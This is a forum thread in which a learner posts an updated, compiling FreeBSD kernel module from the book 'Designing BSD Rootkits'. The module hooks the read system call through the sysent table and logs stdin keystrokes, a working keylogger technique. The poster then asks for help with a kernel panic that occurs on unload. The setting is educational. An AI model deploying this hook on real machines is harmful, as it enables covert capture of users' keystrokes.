Updating code samples from J. Kong's Designing BSD Rootkits

Dear FreeBSD Community,

I attemped to create this thread in the FreeBSD Development Forum, but was unable to do so (probably due to low posting count). Maybe an admin may move it there, if you consider it appropriate to do so. Thank you.

To the point:
I'm working through Joseph Kong's Book Designing BSD Rootkits. Since it is a little dated, some examples don't compile without modification (sources can be downloaded here).

The read_hook.c example (Chapter 2.2) compiles after the read systemcalls have been substituted with sys_read as defined in sys/sysproto.h. This is the updated version of the file I used:
Code:
/*-
 * Copyright (c) 2007 Joseph Kong.
 * All rights reserved.
 *
 * Redistribution and use in source and binary forms, with or without
 * modification, are permitted provided that the following conditions
 * are met:
 * 1. Redistributions of source code must retain the above copyright
 *    notice, this list of conditions and the following disclaimer.
 * 2. Redistributions in binary form must reproduce the above copyright
 *    notice, this list of conditions and the following disclaimer in the
 *    documentation and/or other materials provided with the distribution.
 * 3. Neither the name of the author nor the names of any co-contributors
 *    may be used to endorse or promote products derived from this software
 *    without specific prior written permission.
 *
 * THIS SOFTWARE IS PROVIDED BY THE AUTHOR AND CONTRIBUTORS ``AS IS'' AND
 * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
 * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
 * ARE DISCLAIMED.  IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE
 * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
 * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS
 * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
 * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT
 * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY
 * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF
 * SUCH DAMAGE.
 */

#include <sys/types.h>
#include <sys/param.h>
#include <sys/proc.h>
#include <sys/module.h>
#include <sys/sysent.h>
#include <sys/kernel.h>
#include <sys/systm.h>
#include <sys/syscall.h>
#include <sys/sysproto.h>

/*
 * read system call hook.
 * Logs all keystrokes from stdin.
 * Note: This hook does not take into account special characters, such as
 * Tab, Backspace, and so on.
 */
static int
read_hook(struct thread *td, void *syscall_args)
{
	struct read_args /* {
		int fd;
		void *buf;
		size_t nbyte;
	} */ *uap;
	uap = (struct read_args *)syscall_args;

	int error;
	char buf[1];
	size_t done;

	error = [B]sys_read[/B](td, syscall_args);

	if (error || (!uap->nbyte) || (uap->nbyte > 1) || (uap->fd != 0))
		return(error);

	copyinstr(uap->buf, buf, 1, &done);
	printf("%c\n", buf[0]);

	return(error);
}

/* The function called at load/unload. */
static int
load(struct module *module, int cmd, void *arg)
{
	int error = 0;

	switch (cmd) {
	case MOD_LOAD:
		/* Replace read with read_hook. */
		sysent[SYS_read].sy_call = (sy_call_t *)read_hook;
		break;

	case MOD_UNLOAD:
		/* Change everything back to normal. */
		sysent[SYS_read].sy_call = (sy_call_t *)[B]sys_read[/B];
		break;

	default:
		error = EOPNOTSUPP;
		break;
	}

	return(error);
}

static moduledata_t read_hook_mod = {
	"read_hook",		/* module name */
	load,			/* event handler */
	NULL			/* extra data */
};

DECLARE_MODULE(read_hook, read_hook_mod, SI_SUB_DRIVERS, SI_ORDER_MIDDLE);

The module loads and functions as expected. But upon unloading the module, the kernel breaks and forces a reboot. I found the following error message in /var/log/messages, but since I only started with kernel development, I'm a little overwhelmed and would appreciate your help.
Code:
kernel: Fatal trap 12: page fault while in kernel mode
kernel: cpuid = 0; apic id = 00
kernel: fault virtual address       = 0xffffffff81a4c0c1
kernel: fault code          = supervisor read instruction, page not present
kernel: instruction pointer = 0x20:0xffffffff81a4c0c1
kernel: stack pointer               = 0x28:0xffffff805295dad0
kernel: frame pointer               = 0x28:0xffffff805295db20
kernel: code segment                = base 0x0, limit 0xfffff, type 0x1b
kernel: = DPL 0, pres 1, long 1, def32 0, gran 1
kernel: processor eflags    = interrupt enabled, resume, IOPL = 0

I loaded this into a 9.2 GENERIC kernel on amd64 architecture, build with clang 3.3. If you need further information, please let me know. Any suggestions, comments, ideas are wellcome. Thank you.

I intend to publish the updated version of the sources, so that others may be able to use them straight away on current versions of FreeBSD. So, if all goes well, you are helping not only me.

Best regards
zeebee
 
Hi zeebee, did you manage to complete those code samples? I'm working with his book now and am running into the same roadblocks :)
 
Back
Top